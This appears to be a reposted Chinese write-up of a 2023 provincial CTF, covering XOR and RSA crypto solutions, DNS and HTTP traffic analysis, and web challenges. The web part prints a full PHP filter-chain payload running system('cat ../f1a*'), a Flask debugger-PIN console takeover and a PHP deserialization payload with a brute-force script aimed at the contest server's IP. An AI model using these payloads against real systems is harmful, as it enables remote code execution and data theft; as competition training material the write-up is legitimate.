20231202年江西省“振兴杯”网络信息行业（信息安全测试员）职业技能竞赛

2023-12-13 04:11:20

C1-xor

chall.py

from flag import flag

def encrypt(x, y):
        key='zxb'
        result=''
        for i in range(len(x)):
                result+=chr(ord(x[i])^ord(y[i])^ord(key[i%3]))
        return result
x = flag
y = flag[1:] + flag[0]

enc = open('flag.enc', 'wb')
enc.write(encrypt(x, y))
enc.close()

简单的异或，可得到x^y的结果；再爆破flag中的第一个字符，匹配flag即可：

from Crypto.Util.number import long_to_bytes
enc = open('flag.enc', 'rb').read()

xy = b''
key = b'zxb'
for i in range(len(enc)):
    xy += long_to_bytes(enc[i] ^ key[i%3])

for i in range(31, 127):
    f1 = long_to_bytes(xy[0] ^ i)
    flag = f1
    for j in range(1, len(xy)):
        flag += long_to_bytes(xy[j] ^ flag[j-1])
    if b'flag' in flag:
        print(flag)
# b'ongratulations,you find it:flag{XOR_IS_FUNNY!}C'

exp2:

with open('flag.enc', 'rb') as f:
    enc = f.read()
    print(len(enc))

res = list()
key = b'zxb'
for i in range(len(enc)):
    res.append(enc[i] ^ key[i % len(key)])
for f0 in range(256):
    now = list()
    pre = f0
    for i in range(len(res)):
        now.append(res[i] ^ pre)
        pre = now[-1]
    flag = bytes(now[-1:] + now[:-1])
    if b'flag' in flag:print(flag)
# Congratulations,you find it:flag{XOR_IS_FUNNY!}

C2-p^q-PxorQ-高位泄露

chall.py

from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert, powmod

p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e, phi)

with open("flag.txt", "rb") as f:
	m = bytes_to_long(f.read())

c = powmod(m, e, n)
assert m == powmod(c, d, n)

with open("output.txt", "w") as f:
	f.write("n = {}\n".format(n))
	f.write("c = {}\n".format(c))
	f.write("leak = {}\n".format((p ^ q) & ((1 << 800) - 1)))

题目泄露了 leak = (p ^ q) & ((1 << 800) - 1))

即p^q低位泄露（PxorQ低位泄露）。

$p \oplus q $

#SAGE
from Crypto.Util.number import *
from tqdm import trange
import gmpy2

n = 15571235426797939539238831633247703697409215642831362718146066385417021399103592649626632712024314917817471913939626433520575953306292197338982465585231726225691523482332855007581046878858859892738287906751603097287292123432184264315236703956440181898240812707048906540935557847459938834006517112306094162817074984718655862387364938057878492284440744016546443775531916167164017470033683394275914057901191912284384121493630109154926516069366062089783088439732169772370370955294590903435838430320194003869373124126574176180627081544221636132143905441920473191061061461409407547427997166908876273698276541130678984899303
c = 11410349198192402083731025358124670205298762156812742512455806430945720053501248573549000565669379087195952270760749370073167203051546900914096995321278405720220367427519939638116382433595807325494197693420378893656116540927023043865164328614746414479628014540017033577967693193978113818125984134421120761946747105183198057647052506266535688704007423583060833596105939484423152668717114112856314424069195220194470093254307436153736407926031038716511515018884928576377289853802156015456424197355710062631887029663480146136538261678824501076415658065918045730425523209518075212493675750467401967567713964871622654517929
x = 2391766340580872396075853116060954790369153414025348183898792053278577108869816452176679906799250067017630058347039968502218692998106913594566891267374934074656997523077504385902187178779959674864970574631185410074159953449193378952686076390
e=65537


def findp(p,plist):
    l=len(p)
    if l==800:
        plist.append(int(p,2))
    else:
        pp=int(p,2)
        qq=(x^^pp)%2**l
        if pp*qq%2**l==n%2**l:
            findp('1'+p,plist)
            findp('0'+p,plist)

plist=[]
findp('1',plist)

for i in trange(len(plist)):
    PR.<x> = PolynomialRing(Zmod(n))
    f = x*2^800 + plist[i]
    f = f.monic()
    r = f.small_roots(X=2^224, beta=0.4)
    if r:
        p = int(plist[i]+r[0]* 2^800)
        if n%p == 0:
            break

q = n // p
d = gmpy2.invert(e, (p-1)*(q-1))
print(long_to_bytes(power_mod(c, d, n)))

#flag{a20a5a7eb490770447d59f291e71930e}

M1-流量-HTTP导出

字符串搜索

搜索flag常见的一些字符串，找到flag:
在这里插入图片描述

$ 


$ strings data.pcapng | grep Zmxh
//   ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==
//   ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==

再base64转换一下：
在这里插入图片描述

flag{74cms_1s_01d_p0pcms}

M2-流量-DNS

发现是流量包，用wireshark打开：

在这里插入图片描述

主要是TCP包。但通过跟踪TCP流，发现都是加密后的流量，无法分析。
在这里插入图片描述

于是分析非TCP流量：

过滤器：
not tcp

在这里插入图片描述

发现有很多DNS流量。其中，部分域名比较奇怪：

based2hvYW1pCnJ.pwn.org.cn

猜测要提取出域名信息：

based2hvYW1pCnJ.pwn.org.cn
basevb3QKbHMgLwpi.pwn.org.cn
baseaW4gIGJvb3QgIGR.pwn.org.cn
baseldiAgZXRjI.pwn.org.cn
baseCBmbGFnICBo.pwn.org.cn
baseb21lICBsa.pwn.org.cn
baseWIgc3J2IC.pwn.org.cn
baseBzeXMgIHRtc.pwn.org.cn
baseCAgdXNyICB2.pwn.org.cn
baseYXIKY2F0IC9mb.pwn.org.cn
baseGFnCmZsYW.pwn.org.cn
based7eU91X0N.pwn.org.cn
basehTl9GMU5.pwn.org.cn
basekXzFUX2l.pwn.org.cn
baseuX2RuNX0KCgoK.pwn.org.cn

删除前面的 base 和后面的 .pwn.org.cn 内容，拼接，并base64解码，得到flag:

d2hvYW1pCnJvb3QKbHMgLwpiaW4gIGJvb3QgIGRldiAgZXRjICBmbGFnICBob21lICBsaWIgc3J2ICBzeXMgIHRtcCAgdXNyICB2YXIKY2F0IC9mbGFnCmZsYWd7eU91X0NhTl9GMU5kXzFUX2luX2RuNX0KCgoK

--》 whoami
root
ls /
bin  boot  dev  etc  flag  home  lib srv  sys  tmp  usr  var
cat /flag
flag{yOu_CaN_F1Nd_1T_in_dn5}

flag如下：

flag{yOu_CaN_F1Nd_1T_in_dn5}

W1-git

W2-php_filter_chain

信息收集发现src目录
在这里插入图片描述
访问到src，发现是模板站点，存在about.php任意文件读取漏洞。

filter chain, 命令执行得到flag

python3 php_filter_chain_generator.py --chain '<?php system("cat ../f1a*"); ?>  '

-->
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

flag文件：/f1a4a4a4a44444ag.php。
在这里插入图片描述

flask PIN调试面板命令执行

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['FILES_FOLDER'] = '/tmp/'

logging.basicConfig(filename='/tmp/app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')

@app.route('/upload_file', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and check_file_allow(file.filename):
            filename = secure_filename(file.filename)
            file.save(os.path.join(app.config['FILES_FOLDER'], filename))
            return redirect('/')

@app.route('/get_file/<path:name>')
def get_file(name):
    return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)

很明显app.log里面有东西

直接访问看到了pin

2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * To enable the debugger you need to enter the security pin:
2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * Debugger pin code: 144-950-937

然后访问/console

在这里插入图片描述

# PHP反序列化-create_function-hash_hmac绕过

得到源码：

<?php
class Bird{
    public $funcs;
    public $salt;
    public $flag;

    function say_flag(){
        $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
        $hmac = hash_hmac('sha256', $_GET['password'], $secret);
        if($_GET['mac'] === $hmac){
            show_source("/flag");
        }
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}

if(isset($_GET['p'])){
    $funcs = create_function("","unserialize(\$_GET['d']);");
    $_GET['p']();
}else{
    show_source(__FILE__);
}

1 - hash_hmac绕过

$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){
    show_source("/flag");
}

[羊城杯 2020]Blackcat中的原题。

我们看看hash_hmac函数利用方式，算法都是【sha256】，可控输入点是【data】和【key】。当$binary设置为true时，输出为原始二进制数据；设置为false时，输出为十六进制值。

在这里插入图片描述

tips: 当我们给hash_hmac第二个参数传递的值为数组的时候，会返回false。

当我们给hash_hmac第二个参数传递的值为数组的时候，会返回false。

本地测试一下：

$ type test.php
<?php echo hash_hmac('sha256', 1, false);?>

$ php test.php
41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523

在这里插入图片描述

因此，payload如下：

class Bird{
    public $funcs = ['Bird','say_flag'];
    public $salt;
    public $flag;
}

HTTP GET: salt[]=a&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523

2 - PHP反序列化

3 - 爆破 lambda 匿名函数

参照BUUCTF：[SUCTF 2018]annonymous

create_function()函数在创建之后会生成一个函数名为：%00lambda_%d.
%d是持续递增的，这里的%d会一直递增到最大长度直到结束，通过大量的请求来迫使Pre-fork模式启动.
Apache启动新的线程，这样这里的%d会刷新为1，就可以预测了.
写个脚本一直去刷新访问即可.

exp:

<?php
class Bird{
    public $funcs=['Bird','say_flag'];
    public $salt;
    public $flag;

    function say_flag(){
        $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
        $hmac = hash_hmac('sha256', $_GET['password'], $secret);
		//echo hash_hmac('sha256', $_GET['password'], $secret);
        if($_GET['mac'] === $hmac){
            echo "sha256 yes";
        }
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}
$a=new Bird();
echo urlencode(serialize($a));
?>

python爆破：

import requests

url='http://111.74.9.131:10851/?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_'

for i in range(10000):
    r=requests.get(url+str(i)).text
    if 'Call to undefined function' not in r:
        print(i,r)
        break

文章来源:https://blog.csdn.net/rickliuxiao/article/details/134851627
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